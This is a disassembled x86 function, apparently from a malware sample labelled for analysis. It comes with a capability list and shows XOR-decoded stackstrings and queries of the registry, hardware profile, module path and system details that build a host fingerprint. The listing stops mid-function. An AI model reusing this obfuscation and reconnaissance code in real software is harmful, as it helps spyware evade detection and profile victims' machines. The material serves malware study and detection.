Function at 0x4dda80
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x558550
push eax
mov dword fs:[0], esp
mov eax, 0x32f8
push ebx
call fcn.00434710
push esi
push edi
mov dword [ebp - 0x150], 0
mov dword [ebp - 4], 3
lea edx, [ebx + 8]
mov dword [ebp - 0x18], 0xcfeebdf1
mov dword [ebp - 0x14], 0x92ad6cbe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5b0], eax
mov dword [ebp - 0x5ac], ecx
mov dword [ebp - 0x18], 0xf2a5502
mov dword [ebp - 0x14], 0xd4a7fdd6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x5a4], ecx
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x5b0]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x5b0], xmm1
movaps xmm1, xmmword [ebp - 0x5a0]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x5b0]
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x728]
xorps xmm1, xmmword [ebp - 0x60]
push eax
movaps xmmword [ebp - 0x5a0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 4
mov dword [ebp - 0x18], 0xa980b6da
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x494], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
cmp dword [ebp - 0x714], 0xf
movaps xmm1, xmmword [ebp - 0x4a0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x728]
cmova eax, dword [ebp - 0x728]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x4a0]
xorps xmm1, xmmword [ebp - 0x40]
push ecx
push eax
movaps xmmword [ebp - 0x4a0], xmm1
call fcn.00439810
mov edi, eax
add esp, 8
mov dword [ebp - 0xf4], edi
test edi, edi
je 0x4e1935
call fcn.004e4590
mov ecx, eax
mov edx, 0x20019
test ecx, ecx
mov dword [ebp - 0xb4], ecx
mov eax, 0x20119
cmove eax, edx
cmp dword [0x5863f0], 0xf
mov dword [ebp - 0xc4], eax
mov edx, 0x5863dc
cmova edx, dword [0x5863dc]
mov dword [ebp - 0x18], 0xc5e9a1ef
mov dword [ebp - 0x14], 0xd6e024b5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x4ac], ecx
mov dword [ebp - 0x18], 0x614f3105
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4a8], eax
mov dword [ebp - 0x4a4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x4b0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x4b0]
push edx
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x4b0], xmm1
call fcn.00403350
add esp, 0xc
mov edx, 0x586398
cmp dword [0x5863ac], 0xf
cmova edx, dword [0x586398]
mov dword [ebp - 0x18], 0xdaf2b1fb
mov dword [ebp - 0x14], 0xc9ae71b8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x18], 0x6c361956
mov dword [ebp - 0x14], 0xa0d584f2
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x4c0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x4c0]
push edx
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x4c0], xmm1
call fcn.00403350
add esp, 0xc
push 0
call fcn.0044195b
add esp, 4
mov dword [ebp - 0x730], eax
lea eax, [ebp - 0x730]
mov dword [ebp - 0x72c], edx
push eax
call fcn.00441e43
mov dword [ebp - 0x18], 0xccf4b5e9
add esp, 4
mov dword [ebp - 0x14], 0x80e53eeb
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x4d0], ecx
mov dword [ebp - 0x4cc], edx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov ecx, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x4c4], eax
mov dword [ebp - 0x4c8], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x4d0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x4d0], xmm1
call fcn.00403350
mov dword [ebp - 0x18], 0xc7ebbaf8
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0xf3ae69be
add esp, 0xc
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x230]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x38], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x230], xmm1
movups xmmword [ebp - 0x510], xmm0
mov dword [ebp - 0x500], 0
mov dword [ebp - 0x4fc], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ddf90
sub ecx, edx
lea eax, [ebp - 0x230]
push ecx
push eax
lea ecx, [ebp - 0x510]
call fcn.00403040
mov byte [ebp - 4], 5
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x18], 0xfdc69bfe
mov dword [ebp - 0x14], 0xb6925f86
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5cc], ecx
mov dword [ebp - 0x18], 0x22c712a
mov dword [ebp - 0x14], 0xcface68a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5c8], eax
mov dword [ebp - 0x5c4], ecx
mov dword [ebp - 0x18], 0xda9b4c81
mov dword [ebp - 0x14], 0x6ffa9d1d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], ecx
mov dword [ebp - 0x18], 0x42aa14b7
mov dword [ebp - 0x14], 0xaf8aee96
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5b4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x15c]
push eax
push dword [ebp - 0xc4]
mov dword [ebp - 0x5c], ecx
lea eax, [ebp - 0x5d0]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x5d0]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x5d0], xmm1
movaps xmm1, xmmword [ebp - 0x5c0]
push 0
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push closesocket
movaps xmmword [ebp - 0x5c0], xmm1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4de1e8
mov dword [ebp - 0x200], 0x20019
mov dword [ebp - 0x21c], 0x400
mov dword [ebp - 0x18], 0xc1e3b5e0
mov dword [ebp - 0x14], 0xb4a570b8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 0x18], 0x61215503
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x1700]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x4e0]
push eax
lea eax, [ebp - 0x200]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push 0
lea eax, [ebp - 0x4e0]
movaps xmmword [ebp - 0x4e0], xmm1
push eax
push dword [ebp - 0x15c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4de1dc
lea ecx, [ebp - 0x1700]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4de1c0
sub ecx, edx
lea eax, [ebp - 0x1700]
push ecx
push eax
lea ecx, [ebp - 0x510]
call fcn.00416130
push dword [ebp - 0x15c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x4fc], 0xf
lea edx, [ebp - 0x510]
cmova edx, dword [ebp - 0x510]
mov dword [ebp - 0x18], 0xc1e3b5e0
mov dword [ebp - 0x14], 0xbaa570b8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x18], 0x44650632
mov dword [ebp - 0x14], 0xa0d5848b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x2b0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x2b0]
push edx
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x2b0], xmm1
call fcn.00403350
mov dword [ebp - 0x18], 0xc7ebbaf8
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0xf3ae69be
add esp, 0xc
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x240]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x240]
mov dword [ebp - 0x38], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x240], xmm1
movups xmmword [ebp - 0x4f8], xmm0
mov dword [ebp - 0x4e8], 0
mov dword [ebp - 0x4e4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4de340
sub ecx, edx
lea eax, [ebp - 0x240]
push ecx
push eax
lea ecx, [ebp - 0x4f8]
call fcn.00403040
mov byte [ebp - 4], 6
lea eax, [ebp - 0xa68]
push 0x7c
push 0
push eax
call fcn.004359a0
add esp, 0xc
lea eax, [ebp - 0xa68]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x4de3ac
lea ecx, [ebp - 0xa64]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4de390
sub ecx, edx
lea eax, [ebp - 0xa64]
push ecx
push eax
lea ecx, [ebp - 0x4f8]
call fcn.00416130
cmp dword [ebp - 0x4e4], 0xf
lea edx, [ebp - 0x4f8]
cmova edx, dword [ebp - 0x4f8]
mov dword [ebp - 0x18], 0xedc981ea
mov dword [ebp - 0x14], 0x80e53eeb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x18], 0x6145367b
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x2c0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x2c0]
push edx
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x2c0], xmm1
call fcn.00403350
add esp, 0xc
lea ecx, [ebp - 0x8d8]
call fcn.004e2ba0
mov edi, eax
mov byte [ebp - 4], 7
mov dword [ebp - 0x18], 0xa980d4f2
mov dword [ebp - 0x14], 0xf3c01ed1
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x3f0], ecx
mov dword [ebp - 0x3ec], edx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x3e4], ecx
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x3f0]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x848]
mov dword [ebp - 0x38], eax
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x3f0], xmm1
call fcn.004e30b0
mov esi, eax
mov byte [ebp - 4], 8
mov dword [ebp - 0x18], 0xa980d4f2
mov dword [ebp - 0x14], 0xf3c01ed1
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x2e0], ecx
mov dword [ebp - 0x2dc], edx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x510]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x2e0]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x2e0], xmm1
mov dword [ebp - 0x18], 0xa980d4f2
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x2d0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x860]
xorps xmm1, xmmword [ebp - 0x40]
push eax
movaps xmmword [ebp - 0x2d0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x4f8]
push ecx
mov edx, eax
lea ecx, [ebp - 0x878]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2e0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x890]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x820]
push esi
push eax
push dword [ebp - 0x154]
call fcn.0041e710
lea eax, [ebp - 0x3f0]
mov dword [ebp - 0x150], 2
push eax
lea edx, [ebp - 0x820]
lea ecx, [ebp - 0x8a8]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xd
mov edx, eax
push edi
lea ecx, [ebp - 0x788]
call fcn.0041ae20
add esp, 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x8a8]
call fcn.00402df0
mov eax, 2
mov dword [ebp - 0x150], eax
and eax, 0xfffffffd
mov dword [ebp - 0x150], eax
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x820]
call fcn.00402df0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x890]
call fcn.00402df0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x878]
call fcn.00402df0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x860]
call fcn.00402df0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x848]
call fcn.00402df0
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x8d8]
call fcn.00402df0
xorps xmm0, xmm0
mov byte [ebp - 0x7a4], 0
lea ecx, [ebp - 0x9e8]
movups xmmword [ebp - 0x7c4], xmm0
movups xmmword [ebp - 0x7b4], xmm0
call fcn.004eca50
cmp dword [ebp - 0x774], 0xf
lea eax, [ebp - 0x788]
push dword [ebp - 0x778]
cmova eax, dword [ebp - 0x788]
push eax
call fcn.004ec980
push ecx
lea ecx, [ebp - 0x9e8]
call fcn.004ec830
cmp byte [ebp - 0x94c], 0
je 0x4de7aa
movups xmm0, xmmword [ebp - 0x93b]
mov al, byte [ebp - 0x91b]
mov byte [ebp - 0x7a4], al
movups xmmword [ebp - 0x7c4], xmm0
movups xmm0, xmmword [ebp - 0x92b]
movups xmmword [ebp - 0x7b4], xmm0
mov dword [ebp - 0x18], 0xedc983e5
mov dword [ebp - 0x14], 0x80e53eeb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2f0], eax
mov edi, dword [ebp - 0xf4]
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x18], 0x6145367b
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x7c4]
push eax
mov dword [ebp - 0x3c], ecx
lea eax, [ebp - 0x2f0]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x2f0]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x2f0], xmm1
call fcn.00403350
add esp, 0xc
lea eax, [ebp - 0xef0]
push 0x104
push 0
push eax
call fcn.004359a0
add esp, 0xc
mov dword [ebp - 0x164], 0
lea eax, [ebp - 0x164]
push eax
push 0x4e3370
push 4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0x104
lea eax, [ebp - 0xef0]
push eax
push dword [ebp - 0x164]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x18], 0xc8d0dea0
mov dword [ebp - 0x14], 0xd3fa76a5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x18], 0x6b484f53
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x300]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0xef0]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x300], xmm1
push eax
lea eax, [ebp - 0x300]
push eax
push edi
call fcn.00403350
add esp, 0xc
lea edx, [ebx + 8]
cmp dword [ebx + 0x1c], 0xf
cmova edx, dword [ebx + 8]
mov dword [ebp - 0x18], 0xc2f2bbfa
mov dword [ebp - 0x14], 0x81a95af1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], ecx
mov dword [ebp - 0x18], 0x12601c4c
mov dword [ebp - 0x14], 0xaad283f5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], ecx
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5e0], eax
mov dword [ebp - 0x5dc], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5d8], eax
mov dword [ebp - 0x5d4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0x23d873d8
